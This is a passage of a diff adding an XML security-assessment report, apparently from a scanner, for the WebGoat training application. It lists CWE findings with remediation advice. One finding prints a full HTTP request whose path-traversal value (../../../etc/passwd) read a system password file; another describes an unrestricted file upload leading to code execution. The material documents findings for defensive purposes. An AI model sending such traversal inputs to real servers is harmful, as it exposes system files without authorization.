CzCWwVTpWhW7FVwin7dOx8cnZFiRqEfWtU7GcPfiUERsNJiTRXZFXr4tQiYlbdK6vFLOtq/Grwupx3viurYnRzOcsw2mdFTdV78eyjn+ghAIFZAluE0/GJXh08zvPDVyZmehvH7xlxNIrJEUkV4dTerETDJYpD2Z/lU6mvO9j6eoz2qOw7eiFm17frlGCL6pYJQLfHnXfAqW21Jhk3h2kUU8ZkZa6V9yGrb/b+zh7ArIMABJ5HYItweh4GIr6awM4htNP3LKc7xuSI/dl8nXV3YXKXOBxm2EAAAp8n8H8xFjVj0EmWLwAAAABJRU5ErkJggg==</data>\n</screenshot>\n<code>The
+        following HTTP request was used to retrieve the contents of the /etc/passwd
+        file:\nPOST /WebGoat/attack?Screen=306871788&amp;menu=200 HTTP/1.1\nHost:
+        targethost\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:9.0.1) Gecko/20100101
+        Firefox/9.0.1\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Language:
+        en-us,en;q=0.5\nAccept-Encoding: gzip, deflate\nAccept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\nProxy-Connection:
+        keep-alive\nReferer: http://targethost/WebGoat/attack?Screen=306871788&amp;menu=200\nCookie:
+        JSESSIONID=7AFA29BB6A5D3E1908F035D1B17BB643\nContent-Type: application/x-www-form-urlencoded\nContent-Length:
+        59\n\nFile=../../../../../../../../../etc/passwd&amp;SUBMIT=View+File\n\n\nThe
+        response included the contents of the requested file.</code>\n</appendix>\n</flaw>\n</manualflaws>\n</cwe>\n</category>\n<category
+        categoryid=\"25\" categoryname=\"Insufficient Input Validation\" pcirelated=\"false\">\n<desc>\n<para
+        text=\"Weaknesses in this category are related to an absent or incorrect protection
+        mechanism that fails to properly validate input that can affect the control
+        flow or data flow of a program.\"/>\n</desc>\n<recommendations>\n<para text=\"Validate
+        input from untrusted sources before it is used. The untrusted data sources
+        may include HTTP requests, file systems, databases, and any external systems
+        that provide data to the application. In the case of HTTP requests, validate
+        all parts of the request, including headers, form fields, cookies, and URL
+        components that are used to transfer information from the browser to the server
+        side application.\"/>\n<para text=\"Duplicate any client-side checks on the
+        server side. This should be simple to implement in terms of time and difficulty,
+        and will greatly reduce the likelihood of insecure parameter values being
+        used in the application.\"/>\n</recommendations>\n<cwe cweid=\"434\" cwename=\"Unrestricted
+        Upload of File with Dangerous Type\" pcirelated=\"false\" sans=\"864\">\n<description>\n<text
+        text=\"The software allows the attacker to upload or transfer files of dangerous
+        types that can be automatically processed within the product's environment.\"/>\n</description>\n<manualflaws>\n<flaw
+        severity=\"5\" categoryname=\"Unrestricted Upload of File with Dangerous Type\"
+        count=\"1\" issueid=\"270\" module=\"manual_analysis\" type=\"\" description=\"It
+        was possible to use the image upload functionality to upload arbitrary content
+        to the web server.\" note=\"\" cweid=\"434\" remediationeffort=\"3\" exploitLevel=\"2\"
+        categoryid=\"25\" pcirelated=\"false\" date_first_occurrence=\"2012-02-29
+        16:13:33 UTC\" remediation_status=\"New\" cia_impact=\"ppp\" grace_period_expires=\"2012-03-01
+        14:59:14 UTC\" affects_policy_compliance=\"true\" mitigation_status=\"none\"
+        mitigation_status_desc=\"Not Mitigated\" location=\"http://targethost/WebGoat/attack?Screen=1146227108&amp;menu=1600\"
+        cvss=\"9\" capecid=\"10\" exploitdifficulty=\"1\" inputvector=\"myfile\">\n<exploit_desc>By
+        sending the HTTP upload request an attacker can provide arbitrary content
+        within the POST body and an arbitrary filename. The attacker can then access
+        the uploaded file with a web-browser causing the uploaded file to be executed.\n</exploit_desc><severity_desc>If
+        an attacker is able to upload arbitrary content to a web accessible directory,
+        the potential exists for them to upload executable content with a first request
+        and then invoke it with a second request. \nIf successful, command execution
+        on the host operating system as the tomcat web server user would be possible.\nStatic
+        content could be uploaded to the server and accessed by anonymous Internet
+        users. This would allow the application to serve as an illicit fileshare.</severity_desc>\n<remediation_desc>The
+        provided filename should not be used in construction of the stored filename
+        without strict data validation occurring. Ideally, the user-provided filename
+        should be ignored and the stored filename constructed entirely from server-side,
+        trusted data. For example, the stored filename can simply be a GUID that is
+        an index to meta-data in the database. </remediation_desc>\n<appendix>\n<description>undefined</description>\n<screenshot
+        format=\"PNG\">\n<data>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